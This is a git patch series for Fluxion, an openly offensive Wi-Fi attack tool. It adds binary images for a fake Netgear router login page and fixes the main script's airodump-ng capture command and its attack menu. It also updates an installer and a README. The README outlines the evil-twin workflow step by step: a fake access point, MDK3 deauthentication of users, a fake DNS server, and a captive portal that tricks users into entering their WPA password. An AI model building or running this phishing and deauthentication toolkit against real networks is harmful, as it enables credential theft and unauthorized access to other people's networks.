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 D9CSX; literal 0 HcmV?d00001 diff --git a/Sites/Login-Netgear/img/add_icon.gif b/Sites/Login-Netgear/img/add_icon.gif new file mode 100644 index 0000000000000000000000000000000000000000..959634879ed45af67f8fd6044c7bb72725dd7cc8 GIT binary patch literal 58 zcmZ?wbhEHbSgA$3MlNEQ}05paUX6G7L(vHcrX3G|G%OP$5KP0t16J00|NtIRF3v literal 0 HcmV?d00001 diff --git a/Sites/Login-Netgear/img/barrow.gif b/Sites/Login-Netgear/img/barrow.gif new file mode 100644 index 0000000000000000000000000000000000000000..6d569fcaf21cb1b301e1ddbd7894875bb1eadde0 GIT binary patch literal 854 zcmZ?wbhEHbnQ{y#UD8fU9RuPKsE?)fMLTQE(QU01_l@%keHcQqUYxtqEKe6XR2ptz+hxx zXkcY%WMyQo0A!dLS(z9zurM%8U`v2dLk!b&P9#_XINZ0wxuY-}9d9GqMr0A%rSbMb&UAVVNp znOK>bS-IHR*uhFjBK{v>5aa;H04Fn}5(ASUBeNjm|04|YzzAUlI}a2;V8F=4%)-jX z4s-@LP{CFKp!1oTfsSScx)`Xs7AViaBFHMFXz0i$9GJ+iR48K9IB_9|veU+cqCpow zs2C>|HF0u@iAzXIsj8`KXlj|5nweWzS~We&gn?hmRgVdHU@6i$mSee*Oaai;;mD;w>PF)n9@@e=&jL zfF0y7My7HgW)@^&RWxK1atvfoEEHBUYUB`cnz(S|K~81kpbw%+MHjimR7@VKegt_9 z>@(s#)lOnKGb1qam<1W^8Gf7H|JMGWp=ssO{|v0Ze>8t^e=xuK>BsN` z+1~nm^F`_pxowKh+$U$8IqkjntynDsbKTGOlmEmPp0{86HSY93yL|iCPwHQ6SuMi& G|0V!ey8}}I literal 0 HcmV?d00001 diff --git a/Sites/Login-Netgear/img/barrow_down.jpg b/Sites/Login-Netgear/img/barrow_down.jpg new file mode 100644 index 0000000000000000000000000000000000000000..fe44e8dd6ec592df5a5d43903e74e5e7c1d715f0 GIT binary patch literal 811 zcmex=zV2q8Zi97&EU+y z1hklu5kxY901GpSWMyGtW?^GxV*_J$P7XG9PIfjn4sH%kE)W2+c(}QEKpc=E5UotC z%*?D@>}>2{B_t954=@OFFmN((GBYYMFbOg;3o`yc!XOXy04vyeAiskFBNHWnyY(ZeeNV?BeR??&0Yb91<+v*#~fzWVs-^OvvRzW@073*;|G24;x2fFxFb2?G7a1d0Q8 zkiQt2%7K_!kcCyzkWI)jkUge>eU!91J(nZ}`u^QlIg=;vZwh zg8Cfu?sxyBGmTF!%=~DQ^zP`>PY%@$=fs45m#=B;Q004nN&k&)@V|Cl?|*-z>p#xA Kw5Y-U|4jgFQuK8I literal 0 HcmV?d00001 diff --git a/Sites/Login-Netgear/img/barrow_down_nobackground.gif b/Sites/Login-Netgear/img/barrow_down_nobackground.gif new file mode 100644 index 0000000000000000000000000000000000000000..88d5054d9f6ed791bf7750cfa9541055dab701ce GIT binary patch literal 855 zcmZ?wbhEHb%g}pBqj6> z^s$H8>@oI#!}t1b;QwOas8nGG0LTF2Z@}L^0YGGcO!*M}VmGiuNkiLXDE6^a&aQ(l zzrq_~{rC1*1WaP%ss`~oHU(QW0tF;0xY40)@wy|WrXejPWg>DQ2aeIVAHq~~$PO7Q zs_qH2@yhdshMvO-H51f}`#0Eb4b_u5h^DDILn33U?q*l;sq>$X^yQuFqJJ7jM9ntG zpvk^kItEh(5Xq&<3M&}5Gx_PpVdK_VUT>PJfeSRHkv~9?x$Cp1Ps{*`o@31iCe68x zeoooiU)$E^CQf??dXAza$V%vqBw(fZsLNI&jhn~S@P8Dq?!~PxpZ~>?MMk^%$G&%8Ik)1vmf<2)Ic|wr? z?Ce04+x7{~bVlZf6bHn&h26cLB@KHRioZ=Q4KFA|miZuT_?efd{P~&AF8-*pNOH|0 zIYnH9dUSXDczF4_G3gT^?#g}?VW)|$-eq4kA&Ok=6>*#LAUL&#{NrvjK1n{yokFO@ z+d9;ElV{-Z7}&6o!5EMU>CD8)3|NlEtX)p9^Bf4IIj7Z>$r*k{^>W zbt7m{QqGL%SgsS9gH-ZtJZNqe*fe4}fwLI3k$xcMv5Nge4s=ac($2LoHVsr9E)-kCA3^DCOgBujo_A-!p?`ZaSEwD0|4 zgH!3MCRw5;<5vYnrFE&xjOw5UVT^0~oquju+c)#g3Re*G^mH004@BQETDlMZMGc|i>O zkkuf+py=81=kDJdFcdy-r>E9gwSw3j_}WdCt2D$n#-?o;BFMQX@)6kXTMfcKgtdEdJUeXLb)Jz$<*l!SB+ z(R!QWV&gkr5QICXxisx;GgE|5VO42MhFtZwKirQMRq4F99y+`7k&x@5d$b91o(LBg zVR5>;2FF2neUm&}XAoiqf?la&A_e*s?&>ytsa#x43*E18QAPwViXW8V^o&vYL%z?R z8Mm;XnkIuIK^x-IZYb3(&y9VfB*(DdgKAz1vXQo!hl4ok$!fRJhyY3XG@FWe0glF` YN-B8JYU@F_vG{TcN#Klf006sx0Sv345dZ)H literal 0 HcmV?d00001 diff --git a/Sites/Login-Netgear/img/basic-purple-button.gif b/Sites/Login-Netgear/img/basic-purple-button.gif new file mode 100644 index 0000000000000000000000000000000000000000..fa2e7ec066fed8a426e0a53916f685ffcb96e682 GIT binary patch literal 3181 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 literal 0 HcmV?d00001 diff --git a/Sites/Login-Netgear/img/basic-white-button.gif b/Sites/Login-Netgear/img/basic-white-button.gif new file mode 100644 index 0000000000000000000000000000000000000000..3666080caa0708e387a550b14d209d774355ca27 GIT binary patch literal 2291 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 literal 0 HcmV?d00001 diff --git a/Sites/Login-Netgear/img/cover-image.gif b/Sites/Login-Netgear/img/cover-image.gif new file mode 100644 index 0000000000000000000000000000000000000000..9b37419032da5013bd795e511e6ed08458ff8e21 GIT binary patch literal 813 zcmZ?wbhEHb1qKcw21X7Uj|~eBHggDT#hloX Jc&LHF8UQiA47C6N literal 0 HcmV?d00001 diff --git a/Sites/Login-Netgear/img/edit_icon.gif b/Sites/Login-Netgear/img/edit_icon.gif new file mode 100644 index 0000000000000000000000000000000000000000..a31c4c201c99eded1d64a0ba787753f4646c548e GIT binary patch literal 60 zcmZ?wbhEHbefsnH^S@ue z{{8;_@6VtAfB%95X_OeAA)xq^g^_{bKZ6d)d!RhQz_FR(Kc|exh6RqYmO^SK79ZLU zxARG!+u)eocC^zpO{9b|xnqL3Zq$*0Lyud#8#VnlG)z+U=o0nbArn~0)OtWb(dEQ~ zrlTH{bbY)Y@F)tj1PZ9Fs(5*+<;X=|CR2~AA0Bef(08@+xvC(*+{Pos3?hD8AOoJ#==lag~{tt}Zg2bZnh)gOmsipG?jY_8) z9QBILYPYll_X`e-$BzX0j83bIfwlV$kIU!uy8VvN>-YS={|^`_I7nD%c!(&{mdM!X u2w?UoISJ@Rd5LLfmC4zu*5nx~x-~Rvdir!@iOSmAql)4xJNu$q0027 literal 0 HcmV?d00001 diff --git a/Sites/Login-Netgear/img/firmware-hint-background-short.gif b/Sites/Login-Netgear/img/firmware-hint-background-short.gif new file mode 100644 index 0000000000000000000000000000000000000000..7c87a2bc83521670c306f95f2202bbda8a8ed866 GIT binary patch literal 1550 zcmZ?wbhEHb3}F;u_|5%hMVR9y$gtbeYNb^r!KQ zfaPwh)l9X%zP!5Bw>sdKIfd7aaGS8vI_wl%o+ z+0xaa>+bI={up(YyZm*`*0P&iaXvS4?r*7AW|up?<3sA922tgEuYWkQ2(Wnc?NHdf z_4V})$*1SN{dlOOk<-beU{~da@Y5NN*wna}4|Jmb7Q zhf|j`ZC2j8S}JQ%L{!v^hSi_%`O-EG#&8R<>8Uavdm z_bPkofhw&xi|%r+4DesJF6-^q8%jG>(xmy|tho2|F8 zZPV&?yFVT3&fc4K&pKz{dAna)P8?c4`k9nAOnZBfLtW-}t)$F>gAB}_1qas8y>u$) z=#;+II-A~q>ek%y?OXQh&GNs!H!W6 Date: Thu, 17 Mar 2016 20:42:36 +0400 Subject: [PATCH 064/294] Delete X --- Sites/Login-Netgear/img/X | 1 - 1 file changed, 1 deletion(-) delete mode 100644 Sites/Login-Netgear/img/X diff --git a/Sites/Login-Netgear/img/X b/Sites/Login-Netgear/img/X deleted file mode 100644 index 62d8fe9..0000000 --- a/Sites/Login-Netgear/img/X +++ /dev/null @@ -1 +0,0 @@ -X From d46732c8175f2ecbd0c7939cea73ad1deb906d1e Mon Sep 17 00:00:00 2001 From: strasharo Date: Thu, 17 Mar 2016 23:12:18 +0200 Subject: [PATCH 065/294] =?UTF-8?q?fix=20./fluxion:=20line=202295:=20?= =?UTF-8?q?=E2=80=94ignore-negative-one:=20command=20not=20found?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index d04374a..8a8df83 100755 --- a/fluxion +++ b/fluxion @@ -2292,7 +2292,7 @@ function capture { if ! ps -A | grep -q airodump-ng; then rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & --ignore-negative-one + xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --ignore-negative-one --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & fi } From ddcccd77f5f55e5ea9513de844e1380bc79c404f Mon Sep 17 00:00:00 2001 From: Apathetic Euphoria Date: Thu, 17 Mar 2016 14:29:34 -0700 Subject: [PATCH 066/294] Hostapd (Recommended)) to Hostapd (Recommended) --- fluxion | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fluxion b/fluxion index 8a8df83..7766be9 100755 --- a/fluxion +++ b/fluxion @@ -836,7 +836,7 @@ function askAP { echo "#### Select Attack Option ####" echo " " - echo -e " "$blue"1)"$transparent" FakeAP - Hostapd ("$red"Recommend)"$transparent")" + echo -e " "$blue"1)"$transparent" FakeAP - Hostapd ("$red"Recommended)" echo -e " "$blue"2)"$transparent" FakeAP - airbase-ng (Slower connection)" echo -e " "$blue"3)"$transparent" WPS-SLAUGHTER - Bruteforce WPS Pin" echo -e " "$blue"4)"$transparent" Wifite - Automated Network Hacking" @@ -869,7 +869,7 @@ function askauth { echo "METHOD TO VERIFICATION THE PASSWORD" echo " " - echo -e " "$blue"1)"$transparent" Handshake ("$red"Recommended"$transparent")" + echo -e " "$blue"1)"$transparent" Handshake ("$red"Recommended)" echo -e " "$blue"2)"$transparent" Wpa_supplicant(More failures)" echo -e " "$blue"3)"$transparent" Back" echo " " From 5c9d6ba9cd3c4ae26ca463caacf2293347544e69 Mon Sep 17 00:00:00 2001 From: strasharo Date: Thu, 17 Mar 2016 23:43:09 +0200 Subject: [PATCH 067/294] polish README file --- README.md | 51 +++++++++++++++++++++++---------------------------- 1 file changed, 23 insertions(+), 28 deletions(-) diff --git a/README.md b/README.md index bb8927e..dc12cc2 100644 --- a/README.md +++ b/README.md @@ -1,35 +1,31 @@ -#Fluxion is the futur -Fluxion is based of the the latest programms included aircrack-ng. Howevery flux get even faster and faster. Now it is approximately twice as fast as linset. Fluxion and FLux is based on linset. Fluxion is now working on Kali 2 / 2016. -Lots of bugs get fixed. - -#Flux - -Flux is a auto WIFI CRACKER to test your one wifi. Simple, Easy to use and fast. -Flux is a remake of linset by v496, with more functions, and less Bugs. -Flux use a Installer, check requirements -Some Bugs are fixed like negative channel [aireplay-ng] , enable wlan0mon[SEF] - +#Fluxion is the future +Fluxion is a remake of linset by vk439 with fixed bugs and added features. It's compatible with the latest release of Kali (Rolling) #How it works * Scan the networks. -* Capture handshake (can be used without handshake) +* Capture handshake (can't be used without a valid handshake, it's necessary to verify the password) * Use WEB Interface * -* Mounts one FakeAP imitating the original -* A DHCP server is created on FakeAP -* It creates a DNS server to redirect all requests to the Host -* The web server with the selected interface is launched -* The mechanism is launched to check the validity of the passwords that will be introduced -* It deauthentificate all users of the network, hoping to connect to FakeAP and enter the password. -* The attack will stop after the correct password checking - -**Check FLUX WIKI to lern more** - -#Install: -1. Run Bash with **$ sudo ./flux** +* Launches a FakeAP instance imitating the original access point +* Spawns a MDK3 processs, which deauthentificates all of the users connected to the target network, so they can be lured to connect to FakeAP network and enter the WPA password. +* A DHCP server is lainched in FakeAP network +* A fake DNS server is launched in order to capture all of the DNS requests and redirect them to the host running the script +* A captive portal is launched in order to serve a page, which prompts the user to enter their WPA password +* Each submitted password is verified against the handshake captured earlier +* The attack will automatically terminate once correct password is submitted + + +#Install dependencies: +1. Run installer script +```shell +sudo ./Installer.sh +``` +#Launch fluxion +2) Execute the main script ```shell -$ sudo ./flux +$ sudo ./fluxion ``` + #Credits 1. Deltax @FLuX and Fluxion main developer 2. Strasharo @Fluxion help to fix DHCPD and Pyrit Problems, spelling mistakes and translation mistakes @@ -38,10 +34,9 @@ $ sudo ./flux 5. Derv82 @Wifite/2 6. Sophron @Wifiphisher -**Check out the Linset project to lern more** -#Bugs -- [ ] Negative Channel +#Bugs fixed +- [x] Negative Channel - [x] Kali Patch for Kali Patch 2 - [x] Added airmon - [x] Translate DE --> EN From cd35d9888f8ccc77c4209855d7c125ec120b947f Mon Sep 17 00:00:00 2001 From: strasharo Date: Thu, 17 Mar 2016 23:53:00 +0200 Subject: [PATCH 068/294] correct iwconfig package name --- Installer.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Installer.sh b/Installer.sh index b635d1c..c6f6cfc 100755 --- a/Installer.sh +++ b/Installer.sh @@ -107,7 +107,7 @@ transparent="\e[0m" echo -ne "Iwconfig........" if ! hash iwconfig 2>/dev/null; then echo -e "\e[1;31mNot installed"$transparent"" - sudo apt-get install iwconfig -y + sudo apt-get install wireless-tools -y else echo -e "\e[1;32mOK!"$transparent"" fi From 5cb65dc93b7fdf96bd2bfc1c59719b4d2fdd130b Mon Sep 17 00:00:00 2001 From: strasharo Date: Fri, 18 Mar 2016 00:04:50 +0200 Subject: [PATCH 069/294] add root check to installer and remove unnecessary sudo --- Installer.sh | 61 +++++++++++++++++++++++++++------------------------- 1 file changed, 32 insertions(+), 29 deletions(-) diff --git a/Installer.sh b/Installer.sh index c6f6cfc..63fedb4 100755 --- a/Installer.sh +++ b/Installer.sh @@ -9,9 +9,12 @@ yellow="\033[1;33m" blue="\033[1;34m" transparent="\e[0m" ######################### - - - + +if [[ $EUID -ne 0 ]]; then + echo "This script must be run as root." 1>&2 + exit 1 +fi + ############################################# < START > #################################################### clear echo -e "\e[1;31mInstaller - by Deltax" @@ -25,9 +28,9 @@ transparent="\e[0m" clear apt-key adv --keyserver pgp.mit.edu --recv-keys ED444FF07D8D0BF6 - sudo apt-add-repository deb http://http.kali.org/kali kali main non-free contrib - sudo apt-add-repository deb http://security.kali.org/kali-security kali/updates main contrib non-free - sudo apt-get update -m + apt-add-repository deb http://http.kali.org/kali kali main non-free contrib + apt-add-repository deb http://security.kali.org/kali-security kali/updates main contrib non-free + apt-get update -m sleep 5 @@ -35,7 +38,7 @@ transparent="\e[0m" echo -ne 